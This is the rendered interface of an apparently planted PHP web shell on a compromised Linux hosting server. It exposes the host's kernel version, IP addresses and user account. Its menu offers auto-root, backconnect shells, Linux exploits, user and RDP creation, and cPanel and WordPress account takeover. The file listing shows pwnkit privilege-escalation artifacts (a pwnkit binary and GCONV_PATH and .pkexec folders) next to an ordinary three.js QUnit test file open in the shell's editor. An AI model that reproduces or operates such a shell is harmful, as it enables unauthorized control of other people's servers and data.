Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 216.73.216.183
46 Domain
7.2.34
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
HRD-Test /
test /
unit /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
animation
[ DIR ]
drwxr-xr-x
audio
[ DIR ]
drwxr-xr-x
cameras
[ DIR ]
drwxr-xr-x
core
[ DIR ]
drwxr-xr-x
extras
[ DIR ]
drwxr-xr-x
geometries
[ DIR ]
drwxr-xr-x
helpers
[ DIR ]
drwxr-xr-x
lights
[ DIR ]
drwxr-xr-x
loaders
[ DIR ]
drwxr-xr-x
materials
[ DIR ]
drwxr-xr-x
math
[ DIR ]
drwxr-xr-x
objects
[ DIR ]
drwxr-xr-x
renderers
[ DIR ]
drwxr-xr-x
scenes
[ DIR ]
drwxr-xr-x
textures
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
constants.tests.js
15.4
KB
-rw-r--r--
pwnkit
10.99
KB
-rw-r--r--
utils.tests.js
2.46
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : utils.tests.js
/* global QUnit */ import { arrayMin, arrayMax, getTypedArray } from '../../../src/utils.js'; QUnit.module( 'utils', () => { QUnit.test( 'arrayMin', ( assert ) => { assert.equal( arrayMin( [] ), Infinity, 'Empty array return positive infinit' ); assert.equal( arrayMin( [ 5 ] ), 5, 'Single valued array should return the unique value as minimum' ); assert.equal( arrayMin( [ 1, 5, 10 ] ), 1, 'The array [ 1, 5, 10 ] return 1' ); assert.equal( arrayMin( [ 5, 1, 10 ] ), 1, 'The array [ 5, 1, 10 ] return 1' ); assert.equal( arrayMin( [ 10, 5, 1 ] ), 1, 'The array [ 10, 5, 1 ] return 1' ); assert.equal( arrayMax( [ - 0, 0 ] ), - 0, 'The array [ - 0, 0 ] return -0' ); assert.equal( arrayMin( [ - Infinity, 0, Infinity ] ), - Infinity, 'The array [ - Infinity, 0, Infinity ] return -Infinity' ); } ); QUnit.test( 'arrayMax', ( assert ) => { assert.equal( arrayMax( [] ), - Infinity, 'Empty array return negative infinit' ); assert.equal( arrayMax( [ 5 ] ), 5, 'Single valued array should return the unique value as maximum' ); assert.equal( arrayMax( [ 10, 5, 1 ] ), 10, 'The array [ 10, 5, 1 ] return 10' ); assert.equal( arrayMax( [ 1, 10, 5 ] ), 10, 'The array [ 1, 10, 5 ] return 10' ); assert.equal( arrayMax( [ 1, 5, 10 ] ), 10, 'The array [ 1, 5, 10 ] return 10' ); assert.equal( arrayMax( [ - 0, 0 ] ), 0, 'The array [ - 0, 0 ] return 0' ); assert.equal( arrayMax( [ - Infinity, 0, Infinity ] ), Infinity, 'The array [ - Infinity, 0, Infinity ] return Infinity' ); } ); QUnit.test( 'getTypedArray', ( assert ) => { assert.ok( getTypedArray( 'Int8Array', new ArrayBuffer() ) instanceof Int8Array, 'Int8Array' ); assert.ok( getTypedArray( 'Uint8Array', new ArrayBuffer() ) instanceof Uint8Array, 'Uint8Array' ); assert.ok( getTypedArray( 'Uint8ClampedArray', new ArrayBuffer() ) instanceof Uint8ClampedArray, 'Uint8ClampedArray' ); assert.ok( getTypedArray( 'Int16Array', new ArrayBuffer() ) instanceof Int16Array, 'Int16Array' ); assert.ok( getTypedArray( 'Uint16Array', new ArrayBuffer() ) instanceof Uint16Array, 'Uint16Array' ); assert.ok( getTypedArray( 'Int32Array', new ArrayBuffer() ) instanceof Int32Array, 'Int32Array' ); assert.ok( getTypedArray( 'Uint32Array', new ArrayBuffer() ) instanceof Uint32Array, 'Uint32Array' ); assert.ok( getTypedArray( 'Float32Array', new ArrayBuffer() ) instanceof Float32Array, 'Float32Array' ); assert.ok( getTypedArray( 'Float64Array', new ArrayBuffer() ) instanceof Float64Array, 'Float64Array' ); } ); } );
Close